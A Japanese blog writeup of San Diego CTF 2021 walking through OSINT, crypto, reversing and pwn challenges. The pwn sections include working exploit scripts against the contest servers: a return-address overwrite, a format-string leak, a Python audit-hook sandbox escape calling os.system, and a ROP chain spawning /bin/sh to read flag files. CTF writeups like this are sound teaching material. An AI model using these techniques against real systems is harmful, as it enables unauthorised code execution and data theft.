English version : San Diego CTF 2021 writeup (English version) - Qiita
概要
San Diego CTF 2021 に1人チームで参加した。
このCTFは、問題サーバのWebページを用意せず、Discord上で問題の閲覧やflagの提出を行うのが特徴的である。
結果は4326点で、正の点数を獲得した293チーム中10位 (今回の順位表は0-originであり、普通の言い方だと11位) だった。
大会中の自分のスコアの推移は、以下のような感じだった。
(各問題を正解した時刻と終了後に確定した配点に基づき、大会中の各問題の配点の変化は考慮していない)
解けた日時 (JST : UTC+9) | カテゴリ | 問題 | スコア | 問題ごとの順位 |
---|---|---|---|---|
2021/05/08 09:30 | CRYPTO | Lost in Transmission | 75 | #3 |
2021/05/08 09:36 | CRYPTO | Case64AR | 190 | #1 |
2021/05/08 09:52 | CRYPTO | A Prime Hash Candidate | 292 | #3 |
2021/05/08 10:26 | REVENGE | A Bowl of Pythons | 115 | #5 |
2021/05/08 10:45 | PWN | Flag dROPper | 216 | #6 |
2021/05/08 11:10 | PWN | printFAILED | 206 | #5 |
2021/05/08 12:28 | PWN | Unique Lasso | 441 | #5 |
2021/05/08 13:15 | MISC | Sanity Check | 15 | #83 |
2021/05/08 13:21 | MISC | Alternative Arithmetic (Intermediate Flag) | 259 | #2 |
2021/05/08 14:04 | MISC | Alternative Arithmetic (Final Flag) | 537 | #1 |
2021/05/08 14:34 | OSINT | Speed Studying | 75 | #36 |
2021/05/08 14:44 | OSINT | Speed Studying 2 | 282 | #14 |
2021/05/08 19:26 | CRYPTO | A Primed Hash Candidate | 147 | #4 |
2021/05/09 00:52 | PWN | HAXLAB — Flag Leak | 378 | #6 |
2021/05/09 00:54 | PWN | HAXLAB — Endgame Pwn | 648 | #3 |
2021/05/10 03:40 | OSINT | hIDe and seek | 100 | #87 |
2021/05/10 04:17 | OSINT | hIDe and seek 2 | 200 | #54 |
2021/05/10 08:17 | MISC | survey | 150 | #75 |
(この「問題ごとの順位」は1-originである)
特に、Case64AR および Alternative Arithmetic (Final Flag) の2問で最初の正解者となった。
解けた問題
OSINT
hIDe and seek
ヒントとして Location ?v=hqXOIZtRYZU
と Location 2 qFHIm0c.jpeg
が与えられた。
Location はYouTubeのURLの一部のようだったため、YouTubeのURLに当てはめてみたところ、それっぽい動画が出てきた。
congratulations - YouTube
Location 2 についてはすぐにはわからなかった。
そこで、photo sharing
でググり、
List of image-sharing websites - Wikipedia
にたどり着いた。
それぞれのサービスについてそれっぽいかどうかをチェックしていくと、Imgurがそれっぽい形式の画像URLを使っていた。
そこで、Imgurの画像URLに当てはめてみたところ、それっぽい画像が得られた。
https://i.imgur.com/qFHIm0c.jpeg
これらの動画と画像の情報を組み合わせることで、正しいflagが得られた。
sdctf{W0w_1_h4D_n0_ID3a!}
hIDe and seek 2
ヒントとして
- First piece of info:
gg/4KcDWnUYMs
- Second piece of info:
810237829564727312-810359639975526490
が与えられた。
Webブラウザの履歴からgg
を検索すると、
https://discord.gg/
に続いてヒントと同じような10文字が続いているURLがあった。
そこで、https://discord.gg/4KcDWnUYMs
にアクセスすると、Discordの sdctf admin chat への招待画面になった。
招待を受け入れて入ると、flagのようなものが大量に並んでいた。
その中の適当な1個について、右側の「…」から「メッセージリンクをコピー」してコピーされたURLを見ると、
https://discord.com/channels/810237829564727308/810237829564727312/810381204834222090
のような形で、810237829564727312
の部分がSecond piece of info の前半部分と一致していた。
そこで、このURLの最後の部分を Second piece of info の後半部分に置き換えたURL
https://discord.com/channels/810237829564727308/810237829564727312/810359639975526490
にアクセスすると、flagのようなもののうちの1個が1秒程度ハイライトされた。
このハイライトされたものが正解のflagだった。
sdctf{m@st3R_h@Ck3R_4807}
Speed Studying
以下の条件を満たす人物のfirst nameとlast nameをflagとして答える問題。
- professor at UC San Diego
- an Assistant Professor for the Computer Science department
- an Associate Professor for the Mathematics department
まず UC San Diego
でググり、ここを見つけた。
University of California San Diego
さらに、ページ下部の"A to Z Site Index"に行き、
- C → Computer Science & Engineering
- M → Mathematics
を開いた。
Computer Science のページはあまり役に立たなそうだった。
Mathematics のページの People → Directory を見ると、人の名前が並んでいた。
UCSD Math | Directory
その中で、Computer Science と書かれているものは以下の2人だった。
-
UCSD Math | Profile for Fan Chung Graham
- Professor Emerita of Mathematics
- Professor Emerita of Computer Science Engineering
-
UCSD Math | Profile for Daniel Kane
- Associate Professor of Mathematics
- Associate Professor of Computer Science
どちらかといえば Daniel Kane の方が近そうだが、
問題文では Computer Science については Assistant Professor と指定されているのに対し、
プロフィールではどちらも Associate Professor となっている。
それでも、とりあえずと思ってこれをflagとして送信した所、通った。
Daniel Kane
Speed Studying 2
"The Skyline Problem" と呼ばれていた Daniel Kane のclasses中のexampleが欲しいようである。
まずは The Skyline Problem
でググると、以下がヒットした。
The Skyline Problem - LeetCode
どうやら、典型に近い競技プログラミングの問題のようだ。
Daniel Kane の Personal Website
Daniel Kane's Homepage
に行ってみたが、資料が多くて大変そうである。
そこで、Googleで site:http://cseweb.ucsd.edu/%7Edakane/ skyline
を検索した。
すると、以下のPDFが見つかり、そこにflagが書かれていた。
Homework3.pdf
flagをそのままコピペすると余計な空白がたくさん入ったので、テキストエディタの置換機能で消した。
ちなみに、この問題に対する模範解答と思われるPDFもヒットした。
Solutions3.pdf
sdctf{N1ce_d0rKiNG_C@pt41N}
CRYPTO
Lost in Transmission
問題ファイルの冒頭とflagの先頭部分sdctf{
をバイナリエディタで見比べた。
問題ファイル sdctf{
0 1110 0110 0 0111 0011
1 1100 1000 1 0110 0100
2 1100 0110 2 0110 0011
3 1110 1000 3 0111 0100
4 1100 1100 4 0110 0110
5 1111 0110 5 0111 1011
すると、flagの最初の1ビットを消したものが問題ファイルのようだった。
これは問題文の "it seems a bit...off." というのとも合致する。
decode.c
#include <stdio.h>
int main(void) {
int c;
int p = 0;
while ((c = getchar()) != EOF) {
putchar(((p & 1) << 7) | (c >> 1));
p = c;
}
return 0;
}
sdctf{W0nD3rfUL_mY_G00d_s1R}
Case64AR
Base64 - Wikipedia の変換表を参照しつつ、
Ciphertext OoDVP4LtFm7lKnHk+JDrJo2jNZDROl/1HH77H5Xv
の先頭部分と
flagの先頭部分sdctf{
をbase64エンコードしたもの c2RjdGZ7
を見比べた。
すると、flagのbase64エンコードの文字は、Ciphertextの文字の14個先になっているようだった。
そこで、Ciphertextに対し、CyberChefで以下のRecipeによる変換をすることで、flagが得られた。
- Substitute (Encryption / Encoding)
- Plaintext:
yz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwx
- Ciphertext:
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
- Plaintext:
- From Base64 (Data format)
sdctf{OBscUr1ty_a1nt_s3CURITy}
A Prime Hash Candidate
ハッシュ値とハッシュ関数が書かれたPythonのソースコードと、TCPサーバーの接続情報が与えられた。
どうやら、このハッシュ値に合うパスワードを見つけてサーバーに入力すればいいようである。
ハッシュ関数は、「値を0で初期化し、各文字ごとに前の値に31を掛けて文字コードを足す」というものである。
Z3を用いて条件を満たすパスワードを求めることにした。
Z3の使い方を知るには、ここが大いに役立った。
CTF/Toolkit/z3py - 電気通信大学MMA
ハッシュ値の桁数に基づいて最初はパスワードを20文字と仮定し、手動で1文字ずつ減らしていった。
Python環境へのZ3のインストールは、
pip install z3-solver
でできた。z3
だけではダメだった。
solve.py
from z3 import *
values = [Int("v" + str(i)) for i in range(17)]
s = Solver()
res = 0
for v in values:
s.add(0x20 <= v)
s.add(v < 0x7f)
res = res * 31 + v
s.add(res == 59784015375233083673486266)
r = s.check()
if r == sat:
m = s.model()
res = ""
for v in values:
c = m[v].as_long()
if c != 0:
res += chr(c)
print(res)
else:
print(r)
このコードにより、条件を満たすパスワードは N~qqw0S$~F~rHHn%g
だと求まった。
また、もともとゼロの扱いが上手く行かなかったため桁数を手動で調整したが、
桁数を変数とし、桁数からはみ出た部分を無視するようにすることで、桁数を含めて自動で求められることに気がついた。
solve2.py
from z3 import *
target = 59784015375233083673486266
mult = 31
value_len_max = 20
s = Solver()
value_len = Int("value_len")
values = [Int("v" + str(i)) for i in range(value_len_max)]
s.add(1 <= value_len)
s.add(value_len <= value_len_max)
for i in range(value_len_max):
s.add(If(i < value_len, And(0x20 <= values[i], values[i] < 0x7f), values[i] == 0))
res = 0
for i in range(len(values)):
res = If(i < value_len, res * mult + values[i], res)
s.add(res == target)
r = s.check()
if r == sat:
m = s.model()
res = ""
for i in range(m[value_len].as_long()):
res += chr(m[values[i]].as_long())
print(res)
else:
print(r)
このコードでは、条件を満たすパスワードは Q"Rqumpe"'~rI*MdH
だと求まった。
結果が違うが、どっちのパスワードでも通るようである。
sdctf{st1ll_3553nt14lly_pl@1n_txt}
A Primed Hash Candidate
TCPサーバーの接続情報と、そのサーバーで動いているプログラムを表すと考えられるPythonのソースコードが与えられた。
このプログラムでは以下のハッシュ関数があり、入力したパスワードのハッシュ値が指定のものならばflagを、
違うならばそのハッシュ値を出力するようである。
- ハッシュ値を0で初期化する。
- パスワードの各文字と、文字列
secret1
の各文字をxorする。secret1
の文字数が足りない場合は循環させる。 - その結果の末尾に文字列
secret2
をくっつける。 - その結果の各文字について、ハッシュ値に整数
secret3
を掛け、文字コードを足す。
まず、いくつかの入力に対してハッシュ値を求めさせた。例えば以下のハッシュ値を得た。
パスワード | ハッシュ値 | 上のハッシュ値との比 |
---|---|---|
(空) | 102600138716356059007219996705144046117627968461 | - |
a |
992166622960964278925004202918932637575577014865 | 9.670226915617196 |
aa |
210262682041505048014583738714712698778058090181406 | 211.92275286786946 |
aaa |
48985637796415496050216650657519848062713133279035928 | 232.97352302747626 |
aaaa |
11413640700522060381545483921019415124103706124202506721 | 232.99973653414898 |
このハッシュ値の計算では、桁数が大きくなるほど加算の影響が減り、
1文字増やした時のハッシュ値の比がsecret3
に近づくと予想できる。
したがって、secret3
は233であると予想できる。
secret3
が128以上の数だとわかったので、
パスワード・secret1
・secret2
がASCIIの文字のみ(すなわち、128未満)からなると仮定すれば、
secret3
で割った余りをとっていくことで簡単にsecret2
をくっつけたデータがわかるはずである。
実際に求めてみた。
上のハッシュ値に加え、大量のa
の列を入力することでsecret1
を求めるための入力もある。
さらに、求めた結果secret2
はASCII文字のみからなりそうだったので、それを文字列として出力するようにした。
test.py
m = 233
def calc(q):
res = []
while q > 0:
res.append(q % m)
q = q // m
return [res[len(res) - i - 1] for i in range(len(res))]
print(calc(102600138716356059007219996705144046117627968461))
print(calc(992166622960964278925004202918932637575577014865))
print(calc(210262682041505048014583738714712698778058090181406))
print(calc(48985637796415496050216650657519848062713133279035928))
print(calc(11413640700522060381545483921019415124103706124202506721))
print(calc(2659378268536464350212726318079772602014077890093473108682))
print(calc(56678918740377726047886359781090148307613747240511801341646628305011979140370757793561203839575815229178929004006886844019359633328288654953757547745797307363306287690228605085170520895486842930223543838627761786694555352517833537871099421570613401285950471276099621993337428263773193776280991157297313422764761554071206508203010916314623673595647950795646105830132596428138694772022226009678196477133112528229050981237479482321839960638938646374279349091534905575572549716737501782655376051142768831560072202859244745877469214627488920873309017303317236637970499937672394230102961331453458658035654033218881880413))
# PASSWD
print(calc(91918419847262345220747548257014204909656105967816548490107654667943676632784144361466466654437911844))
str = ""
for c in calc(102600138716356059007219996705144046117627968461):
str += chr(c)
print(str)
出力は以下のようになった。
[107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 13, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 13, 82, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 13, 82, 49, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 13, 82, 49, 41, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[34, 54, 105, 105, 60, 7, 57, 103, 101, 23, 95, 7, 37, 38, 0, 90, 57, 28, 53, 32, 107, 8, 126, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
ks(3n*cl3p%3925(*4*2
最後の ks(3n*cl3p%3925(*4*2
が secret2
だとわかる。
さらに、出力を見ると、[4, 13, 82, 49, 41, 85, 15, 53, 69]
のパターンが循環しているようである。
したがって、これにa
の文字コードをxorしたものが、secret1
になりそうだ。
実際にこれを求めるのが以下のコードであり、secret1
は el3PH4nT$
と求まった。
test2.py
data = [4, 13, 82, 49, 41, 85, 15, 53, 69]
key = ord('a')
res = ""
for c in data:
res += chr(c ^ key)
print(res)
最後に、指定されていたパスワードのハッシュ値PASSWD
をデコードし、
secret2
を除く部分をsecret1
とxorすることで、入力するべきパスワードが求まった。
test3.py
data = [34, 54, 105, 105, 60, 7, 57, 103, 101, 23, 95, 7, 37, 38, 0, 90, 57, 28, 53, 32, 107, 8, 126]
key = "el3PH4nT$"
key_v = [ord(x) for x in key]
res = ""
for i in range(len(data)):
res += chr(data[i] ^ key_v[i % len(key_v)])
print(res)
入力するべきパスワードは GZZ9t3W3Ar34un44m8PLXX6
であった。
(hashという名前が使われているので「ハッシュ値」「ハッシュ関数」としたが、
簡単に一意にデコードできたらハッシュじゃないような…)
sdctf{W0W_s3cur1ty_d1d_dRaStIcAlLy_1mpr0v3}
WEB
残念ながら1問も解けなかった。
REVENGE
A Bowl of Pythons
Pythonのソースコードが与えられた。
まず、文字列が16進数で表現されていたので、見やすいようにCyberChefのFrom Hexでデコードした。
次に、メインとなるe()
関数を見ると、まず入力のヘッダとフッタをチェックし、その後中身をチェックするようになっていた。
余計な部分を消し、演算を逆転させることで、flagの中間部分を得ることができた。
solve.py
a = lambda n: a(n-2) + a(n-1) if n >= 2 else (2 if n == 0 else 1)
f = b't2q}*\x7f&n[5V\xb42a\x7f3\xac\x87\xe6\xb4'
print(bytes(f[i] ^ (a(i) & 0xff) for i in range(len(f))))
sdctf{v3ry-t4sty-sph4g3tt1}
PWN
Flag dROPper
TCPサーバーの接続情報と、そこで動いていると考えられるELFファイルが与えられた。
このELFファイルをTDM-GCCのobjdump
で逆アセンブルして観察した結果、
バッファの0x48バイト目から関数_exit
のアドレスを入れた後、
そのバッファに入力を読み込み、
バッファの0x48バイト目からのアドレスに制御を移していることがわかった。
そこで、このアドレスをwin
関数のアドレスに書き換えるような入力を与えたところ、flagの2文字目以降が得られた。
communicate.pl
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket;
my $sock = new IO::Socket::INET(PeerAddr=>"dropper.sdc.tf", PeerPort=>1337, Proto=>"tcp");
if (!$sock) { die "socket open failed\n"; }
binmode($sock);
my $query = ("#" x 0x48) . "\xDA\x05\x40\x00\x00\x00\x00\x00";
print $sock $query;
while (<$sock>) {
print $_;
}
close($sock);
sdctf{n1C3_C4tcH_bUd}
HAXLAB — Flag Leak
TCPサーバーの接続情報と、そこで動いていると考えられるPythonのソースコードが与えられた。
このプログラムは、入力した文を実行してくれるが、
sys.addaudithook()
によって多くの操作が拒否されるようになっている。
いろいろ試したところ、import subprocess
は拒否されたが、import sys
は拒否されなかった。
import sys
により、sys.modules
にアクセスできるようになった。
その中には、builtins
モジュールもあった。
このモジュールをいじることで、組み込み関数を置き換えることができるようだった。
特に、sys.modules["builtins"].set
にラムダ式を代入することで、
操作を拒否する部分でホワイトリストの初期化に使われているset()
を置き換えることができた。
これを利用し、"os.system"
をホワイトリストに追加することで、
os.system()
を実行することができるようになった。
最後に、これを利用して cat flag1.txt
を実行することで、flagが得られた。
すなわち、以下の文を順に実行することで、flagが得られた。
import sys
import os
sys.modules["builtins"].set = lambda x : list(x) + ["os.system"]
os.system("cat flag1.txt")
sdctf{get@ttr_r3ads_3v3ryth1ng}
HAXLAB — Endgame Pwn
TCPサーバーの接続情報と、そこで動いていると考えられるPythonのソースコードが与えられた。
これらは HAXLAB — Flag Leak と同じものであった。
そのため、同様に cat flag1.txt
のかわりに cat flag2.txt
を実行することで、flagが得られた。
sdctf{4ud1t_hO0ks_aR3_N0T_SaNDB0x35}
printFAILED
TCPサーバーの接続情報と、そこで動いていると考えられるELFファイルが与えられた。
このELFファイルをTDM-GCCのobjdump
で逆アセンブルして観察した結果、
以下のような処理をしているようだった。
kakikudasi.c
#include <stdio.h>
#include <string.h>
int FLAG_LEN;
char flag[1024];
char guess[1024];
void scramble(int len) { /* -0x14(%rbp) */
int i; /* -0x4(%rbp) */
/* 831 860 */
for (i = 0; i < len; i++) {
/* 83a */
int eax = i, ecx;
eax = flag[eax];
eax += 1;
/* 84e */
ecx = eax;
eax = i;
flag[eax] = ecx;
}
}
int main(void) {
/* 87e */
FILE* fp = fopen("flag.txt", "r");
fgets(flag, 0x28, fp);
/* 8ad */
scramble(0x27);
/* 8b7 */
puts("can you guess the scrambled flag?");
fflush(stdout);
/* 8d2 */
fgets(guess, 0x28, stdin);
/* 8ed */
puts("you guessed: ");
/* 8f9 */
printf(guess, main, scramble, FLAG_LEN, flag);
/* 935 */
if (strcmp(guess, flag) == 0) {
/* 93e */
puts("nice guess!");
} else {
/* 94c */
puts("wrong");
}
/* 958 */
return 0;
}
この中で、特に重要なのは
printf(guess, main, scramble, FLAG_LEN, flag);
という行である。
ここで、guess
にはユーザー入力が入り、
flag
にはflag.txt
から読み込んだデータをscramble()
関数で加工したデータが入っている。
このscramble()
関数は、flag
の指定した位置までの要素にそれぞれ1を足す処理をしている。
したがって、この配列flag
の内容を読み取り、scramble()
関数の逆の加工を行えば、flagが得られるはずである。
これを踏まえ、
%lx %lx %lx %s
という入力を与えたところ、
55b4835b086f 55b4835b082a 28 tedug|E1ou`c4`5`g52mvs4`2jl4`uI2T`D1e4~
という出力が返ってきた。この出力の最後の部分 tedug|E1ou`c4`5`g52mvs4`2jl4`uI2T`D1e4~
に対し、
CyberChefでKeyを-1としたSUBを行うことで、flagが得られた。
(SUB は Arithmetic / Logic カテゴリに入っている)
sdctf{D0nt_b3_4_f41lur3_1ik3_tH1S_C0d3}
Unique Lasso
TCPサーバーの接続情報と、そこで動いていると考えられるELFファイルが与えられた。
このELFファイルをTDM-GCCのobjdump
で逆アセンブルして観察した結果、
以下のような処理をしているようだった。
kakikudasi.c
#include <stdio.h>
#include <stdlib.h>
int main(void) {
char rbp_6[2];
int rbp_4;
/* 400b75 */
puts("how long do you think this lass is: (hint: its really long)");
/* 400b81 */
fflush(stdout);
/* 400b90 */
fgets(rbp_6, 0x258, stdin);
/* 400ba8 */
rbp_4 = atoi(rbp_6);
/* 400bb4 */
printf("You guessed %d\n", rbp_4);
/* 400bcd */
puts("Its gotta be longer than that");
/* 400bd9 */
fflush(stdout);
/* 400be8 */
return 0;
}
特にwin
関数などはなさそうなので、ROP (Return-oriented programming) を用いて
execve("/bin/sh", 0, 0)
を実行させることにした。
そのためには、%rax
に59 (execve
のシステムコール番号)、%rdi
に"/bin/sh"
のアドレス、
%rsi
と%rdx
に0をセットして、syscall
命令を実行させればよい。
バイナリエディタでELFファイルからそれぞれの機械語を検索したところ、
ファイル中の位置で例えば以下の場所にgadgetが見つかった。
0x006A6 : pop %rdi; ret
0x10B63 : pop %rsi; ret
0x4C616 : pop %rdx; ret
0x005AF : pop %rax; ret
0x74AE5 : syscall ; ret
また、逆アセンブル結果より、実行時のアドレスはファイル中の位置に 0x400000 を足したものになるようだった。
さらに、"/bin/sh"
そのものはバイナリ中に無さそうであったが、逆アセンブル結果を眺めていると、
400692: 48 89 05 67 c1 2b 00 mov %rax,0x2bc167(%rip) # 6bc800 <__x86_shared_non_temporal_threshold>
400699: 48 83 c4 08 add $0x8,%rsp
40069d: 5b pop %rbx
40069e: 5d pop %rbp
40069f: 41 5c pop %r12
4006a1: 41 5d pop %r13
4006a3: 41 5e pop %r14
4006a5: 41 5f pop %r15
4006a7: c3 retq
という部分があり、これを用いると%rax
に入れた任意の値を0x6bc800に書き込めるようだった。
これらを用い、以下の動作をするようにスタックの内容を構築した。
-
%rax
に"/bin/sh"
のデータを入れる -
%rax
のデータを 0x6bc800 に入れる -
%rax
に 59 を入れる -
%rdi
に 0x6bc800 を入れる -
%rsi
に 0 を入れる -
%rdi
に 0 を入れる -
syscall
を実行する
この内容をスタックに入れるための入力の後、単純にシェルのコマンドを送っても、なぜか結果が出てこなかった。
そこで、ループで何度もコマンドを送るなど試行錯誤したところ、ファイルリストやflagが得られた。
communicate.pl
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket;
my $sock = new IO::Socket::INET(PeerAddr=>"lasso.sdc.tf", PeerPort=>1337, Proto=>"tcp");
if (!$sock) { die "socket open failed\n"; }
binmode($sock);
my $query = "123456--------";
my $pop_rdi = 0x4006a6;
my $pop_rsi = 0x410b63;
my $pop_rdx = 0x44c616;
my $pop_rax = 0x4005af;
my $syscall = 0x474ae5;
my $mov = 0x400692;
my @data = (
$pop_rax,
-1,
$mov,
0, 0, 0, 0, 0, 0, 0,
$pop_rax,
59,
$pop_rdi,
0x6bc800,
$pop_rsi,
0,
$pop_rdx,
0,
$syscall
);
for (my $i = 0; $i < @data; $i++) {
if ($data[$i] >= 0) {
$query .= pack("Q", $data[$i]);
} else {
$query .= "/bin/sh\0";
}
}
print $sock $query;
print $sock "\n";
for (my $i = 0; $i < 4096; $i++) {
#print $sock "echo hoge\n";
#print $sock "ls\n";
print $sock "cat flag.txt\n";
print $sock "exit\n";
}
while (<$sock>) {
print $_;
}
close($sock);
sdctf{H0w_l0nG_w45_uR_L4ss0_m1n3_w45_ju5T_5}
MISC
Sanity Check
問題文にflagが書かれていた。
Here's the flag of this challenge:
sdctf{1_@m_n0t_4_r0b0t!}
sdctf{1_@m_n0t_4_r0b0t!}
Alternative Arithmetic (Intermediate Flag)
Javaに関するクイズが出題され、3問正解するとflagが得られた。
1問目
0でなく、x == -x
となる long x
の値が要求された。
Javaのlong
は64bitであり、2の補数を使っているとすれば、-(2 ** 63)
が条件を満たすはずである。
この値をPythonで求めた。
x = -9223372036854775808
2問目
以下の条件を満たすlong
の値x
およびy
が要求された。
- 異なる
- 差が10以下
Long.hashCode(x) == Long.hashCode(y)
long
のハッシュ値は、上位32ビットと下位32ビットのxorで求められるらしい。
-1
、すなわち 0xffffffffffffffff
は、
上位32ビット 0xffffffff
と下位32ビット 0xffffffff
のxorをとると 0
になる。
また、0
、すなわち 0x0000000000000000
も、
上位32ビット 0x00000000
と下位32ビット 0x00000000
のxorをとると 0
になる。
x = 0
y = -1
3問目
forループ for (float start = magic; start < (magic + 256); start++)
が十分な回数回るようなfloat magic
の値を要求された。
さらに、適当な値を入力すると「7文字未満」という条件も出てきた。こういう後出しの条件は嫌いです。
float
の精度を考え、1を足しても値が変わらないような値を入れることで、正解が得られた。
f = 1e+8
flag
sdctf{JAVA_Ar1thm3tIc_15_WEirD}
Alternative Arithmetic (Final Flag)
Alternative Arithmetic (Intermediate Flag) に続いてJavaに関するクイズがさらに出題され、
2問正解することでflagが得られた。
4問目
以下の条件を満たす文字列s1
、s2
、s3
が要求された。
new BigDecimal(s1).add(new BigDecimal(s2)).compareTo(new BigDecimal(s3)) == 0
Double.parseDouble(s1) + Double.parseDouble(s2) != Double.parseDouble(s3)
double
がオーバーフローする程度の大きい値と小さい値を入れることで、正解が得られた。
s1 = 1e+1000
s2 = -1e+1000
s3 = 0
5問目
i < j || i == j || i > j
が false
になるような、
var i = (<type>) <num1>; var j = (<type>) <num2>;
の
<type>
、<num1>
、<num2>
にあてはまるものを求められた。
また、<num1>
と<num2>
は「regex [0-9]*\.?[0-9]*
を満たす」ものを要求された。
Wandboxでいろいろ試すことで、正解が得られた。
<type>: Double
<num1>: 1.0
<num2>: 1.0
flag
sdctf{MATH_pr0f:iS_tH1S_@_bUG?CS_prOF:n0P3_tHIS_iS_A_fEATuRe!}
survey
GoogleフォームのURLが提示された。
リンク先のアンケートに回答して回答を送信すると、flagが表示された。
sdctf{Suv3y_s@ys!}